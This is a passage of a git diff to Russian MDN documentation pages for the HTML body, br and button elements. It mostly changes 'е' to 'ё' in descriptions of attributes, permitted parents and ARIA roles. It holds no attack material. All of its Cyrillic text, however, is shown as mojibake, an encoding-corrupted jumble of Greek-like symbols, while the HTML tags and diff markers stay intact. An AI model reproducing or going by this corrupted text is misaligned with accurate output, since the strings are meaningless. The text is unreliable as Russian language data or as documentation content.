ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³, ΠΈ Π·Π° Π½ΠΈΠΌ сразу Π½Π΅ слСдуСт ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π­Ρ‚ΠΎΡ‚ элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ Π² элСмСнтС {{HTMLElement("html")}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚</td>
</tr>
<tr>
@@ -95,7 +95,7 @@ translation_of: Web/HTML/Element/body
<dt>{{htmlattrdef("onpopstate")}}</dt>
<dd>Ѐункция для Π²Ρ‹Π·ΠΎΠ²Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ осущСствил ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ историСй сСанса.</dd>
<dt>{{htmlattrdef("onredo")}}</dt>
- <dd>Ѐункция для Π²Ρ‹Π·ΠΎΠ²Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π²ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΠΎ истории Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ страницы).</dd>
+ <dd>Ѐункция для Π²Ρ‹Π·ΠΎΠ²Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π²ΠΏΠ΅Ρ€Ρ‘Π΄ ΠΏΠΎ истории Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ страницы).</dd>
<dt>{{htmlattrdef("onresize")}}</dt>
<dd>Ѐункция для Π²Ρ‹Π·ΠΎΠ²Π°, ΠΊΠΎΠ³Π΄Π° Ρ€Π°Π·ΠΌΠ΅Ρ€ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½.</dd>
<dt>{{htmlattrdef("onstorage")}}</dt>
@@ -111,7 +111,7 @@ translation_of: Web/HTML/Element/body
<dt>{{htmlattrdef("topmargin")}} {{obsolete_inline}}</dt>
<dd>ΠžΡ‚ΡΡ‚ΡƒΠΏ ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ края элСмСнта <code>&lt;body&gt;</code>. <em>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ согласован, вмСсто Π½Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ CSS-свойство {{cssxref("margin-top")}}.</em></dd>
<dt>{{htmlattrdef("vlink")}} {{obsolete_inline}}</dt>
- <dd>Π¦Π²Π΅Ρ‚ тСкста посСщСнной гипСртСкстовой ссылки. <em>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ согласован, вмСсто Π½Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ CSS-свойство {{cssxref("color")}} вмСстС с псСвдоклассом {{cssxref(":visited")}}.</em></dd>
+ <dd>Π¦Π²Π΅Ρ‚ тСкста посСщённой гипСртСкстовой ссылки. <em>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ согласован, вмСсто Π½Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ CSS-свойство {{cssxref("color")}} вмСстС с псСвдоклассом {{cssxref(":visited")}}.</em></dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
@@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/body
<tr>
<td>{{SpecName('HTML WHATWG', 'semantics.html#the-body-element', '&lt;body&gt;')}}</td>
<td>{{Spec2('HTML WHATWG')}}</td>
- <td>ИзмСнСн список нСсогласованных свойств.</td>
+ <td>Π˜Π·ΠΌΠ΅Π½Ρ‘Π½ список нСсогласованных свойств.</td>
</tr>
<tr>
<td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
diff --git a/files/ru/web/html/element/br/index.html b/files/ru/web/html/element/br/index.html
index f088017482..5bf34e89d2 100644
--- a/files/ru/web/html/element/br/index.html
+++ b/files/ru/web/html/element/br/index.html
@@ -64,7 +64,7 @@ USA&lt;br&gt;</pre>
<ul class="htmlelt">
<li><dfn><a href="/ru/docs/Web/Guide/HTML/Content_categories">ΠšΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a></dfn> <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">тСкстовый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</li>
- <li><dfn>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</dfn> ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚, это {{Glossary("пустой элСмСнт")}}.</li>
+ <li><dfn>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</dfn> ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚, это {{Glossary("пустой элСмСнт")}}.</li>
<li><dfn>ΠŸΡ€ΠΎΠΏΡƒΡΠΊ Ρ‚Π΅Π³ΠΎΠ²</dfn>Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³, Π½ΠΎ Π½Π΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³. Π’ XHTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… элСмСнт ΠΏΠΈΡˆΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ <code>&lt;brΒ /&gt;</code>.</li>
<li><dfn>ДопустимыС Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</dfn> Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">тСкстовый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</li>
<li><dfn>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ DOM</dfn> {{domxref("HTMLBRElement")}}</li>
diff --git a/files/ru/web/html/element/button/index.html b/files/ru/web/html/element/button/index.html
index 78cd1a07f7..61b3f30109 100644
--- a/files/ru/web/html/element/button/index.html
+++ b/files/ru/web/html/element/button/index.html
@@ -12,7 +12,7 @@ original_slug: Web/HTML/Element/ΠΊΠ½ΠΎΠΏΠΊΠ°
---
<h2 id="ОписаниС">ОписаниС</h2>
-<p><strong>HTML-элСмСнт <em><code>&lt;button&gt;</code></em></strong> создаСт ΠΊΠ»ΠΈΠΊΠ°Π±Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ, которая ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ… ΠΈΠ»ΠΈ Π² любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ простой, стандартной ΠΊΠ½ΠΎΠΏΠΊΠΈ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠ½ΠΎΠΏΠΊΠΈ HTML ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ прСдставлСны Π² стилС, Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎΠΌ ΡΡ‚ΠΈΠ»ΡŽ хост-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ {{Glossary ("user agent")}}, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ внСшний Π²ΠΈΠ΄ ΠΊΠ½ΠΎΠΏΠΊΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ CSS.</p>
+<p><strong>HTML-элСмСнт <em><code>&lt;button&gt;</code></em></strong> создаёт ΠΊΠ»ΠΈΠΊΠ°Π±Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ, которая ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ… ΠΈΠ»ΠΈ Π² любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ простой, стандартной ΠΊΠ½ΠΎΠΏΠΊΠΈ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠ½ΠΎΠΏΠΊΠΈ HTML ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ прСдставлСны Π² стилС, Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎΠΌ ΡΡ‚ΠΈΠ»ΡŽ хост-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ {{Glossary ("user agent")}}, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ внСшний Π²ΠΈΠ΄ ΠΊΠ½ΠΎΠΏΠΊΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ CSS.</p>
@@ -60,18 +60,18 @@ original_slug: Web/HTML/Element/ΠΊΠ½ΠΎΠΏΠΊΠ°
<dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline(5)}}</dt>
<dd>Π”Π°Π½Π½Ρ‹ΠΉ Π±ΡƒΠ»Π΅Π²Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ позволяСт ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ ΠΊΠ½ΠΎΠΏΠΊΠ° автоматичСски сфокусирована послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы, Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ фокус Π² Ρ€ΡƒΡ‡Π½ΡƒΡŽ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹Π±Ρ€Π°Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт. Волько ΠΎΠ΄ΠΈΠ½ связанный с Ρ„ΠΎΡ€ΠΌΠΎΠΉ элСмСнт Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚.</dd>
<dt>{{htmlattrdef("autocomplete")}} {{non-standard_inline}}</dt>
- <dd>ИспользованиС Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π½Π° элСмСнтС <code>&lt;button&gt;</code> Π½Π΅ описано Π² стандартС ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Firefox Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox сохраняСт назначСнноС динамичСски ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ΅ состояниС </a>для элСмСнта <code>&lt;button&gt;</code> ΠΏΡ€ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ°Ρ… страницы. Установка для Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° значСния <code>off</code>Β ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ {{bug(654072)}}.</dd>
+ <dd>ИспользованиС Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π½Π° элСмСнтС <code>&lt;button&gt;</code> Π½Π΅ описано Π² стандартС ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Firefox Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox сохраняСт назначСнноС динамичСски ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ΅ состояниС </a>для элСмСнта <code>&lt;button&gt;</code> ΠΏΡ€ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ°Ρ… страницы. Установка для Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° значСния <code>off</code>Β ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ {{bug(654072)}}.</dd>
<dt>{{htmlattrdef("disabled")}}</dt>
<dd>
<p>Π‘ΡƒΠ»Π΅Π²Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ установлСн, Ρ‚ΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ° наслСдуСт Π΅Π³ΠΎ ΠΎΡ‚ элСмСнта-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½Π° располоТСна, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚ {{HTMLElement("fieldset")}}; Ссли отсутствуСт элСмСнт-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, с установлСнным Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <strong>disabled</strong>, Ρ‚ΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ° доступна для взаимодСйствия.</p>
- <p>Firefox ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">сохраняСт назначСнноС динамичСски ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ΅ состояниС </a>для элСмСнта <code>&lt;button&gt;</code>, Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ страницы.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π² этом случаС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("autocomplete","button")}}.</p>
+ <p>Firefox ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">сохраняСт назначСнноС динамичСски ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ΅ состояниС </a>для элСмСнта <code>&lt;button&gt;</code>, Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ страницы.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π² этом случаС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("autocomplete","button")}}.</p>
</dd>
<dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt>
<dd>Атрибут <strong>form</strong> позволяСт ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ элСмСнт {{HTMLElement("form")}}, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ связана ΠΊΠ½ΠΎΠΏΠΊΠ°. Π”Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <strong>id</strong> элСмСнта {{HTMLElement("form")}}. Если Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ установлСн, Ρ‚ΠΎ элСмСнт <code>&lt;button&gt;</code>Β Π±ΡƒΠ΄Π΅Ρ‚ связан с Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΌΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚ΠΎΠΌ {{HTMLElement("form")}}, Ссли послСдний сущСствуСт.</dd>
<dd>Атрибут Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ нСзависимо ΠΎΡ‚ располоТСния элСмСнтов Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, поэтому ΠΎΠ½ позволяСт ΡΠ²ΡΠ·Π°Ρ‚ΡŒ элСмСнт <code>&lt;button&gt;</code> с Ρ„ΠΎΡ€ΠΌΠΎΠΉ, Π΄Π°ΠΆΠ΅ Π² случаС, Ссли <code>&lt;button&gt;</code> Π½Π΅ являСтся наслСдником элСмСнта {{HTMLElement("form")}}.</dd>
<dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline(5)}}</dt>
- <dd>Бсылка Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Ρ„ΠΎΡ€ΠΌΡ‹. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ β€”Β ΠΎΠ½ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("action","form")}} Ρƒ Ρ„ΠΎΡ€ΠΌΡ‹-родитСля.</dd>
+ <dd>Бсылка Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Ρ„ΠΎΡ€ΠΌΡ‹. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ β€”Β ΠΎΠ½ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("action","form")}} Ρƒ Ρ„ΠΎΡ€ΠΌΡ‹-родитСля.</dd>
<dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline(5)}}</dt>
<dd>Если <code>button</code> ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏ <code>submit</code>, Ρ‚ΠΎ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Ρ‚ΠΈΠΏ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, отправляСмого Π½Π° сСрвСр. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°:
<ul>
@@ -80,20 +80,20 @@ original_slug: Web/HTML/Element/ΠΊΠ½ΠΎΠΏΠΊΠ°
<li><code>text/plain</code></li>
</ul>
- <p>Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, ΠΎΠ½ пСрСопрСдСляСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("enctype","form")}} Ρƒ Ρ„ΠΎΡ€ΠΌΡ‹-родитСля.</p>
+ <p>Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, ΠΎΠ½ пСрСопрСдСляСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("enctype","form")}} Ρƒ Ρ„ΠΎΡ€ΠΌΡ‹-родитСля.</p>
</dd>
<dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline(5)}}</dt>
<dd>Если <code>button</code> ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏ <code>submit</code>, Ρ‚ΠΎ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт ΠΌΠ΅Ρ‚ΠΎΠ΄ HTTP-запроса для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сСрвСр. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹:
<ul>
<li><code>post</code>: Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² Ρ‚Π΅Π»ΠΎ сообщСния ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π° сСрвСр.</li>
- <li><code>get</code>: Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π° сСрвСр Π² Π²ΠΈΠ΄Π΅ ссылки, состоящСй ΠΈΠ· URI Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β {{htmlattrxref("action","form")}} ΠΈ нСпосрСдствСнно Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΡ‚Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°ΠΊΠΎΠΌ '?'. Π”Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΈΠ΄ ΠΊΠ»ΡŽΡ‡/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ ампСрсандом, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ name=Name&amp;id=35.Β 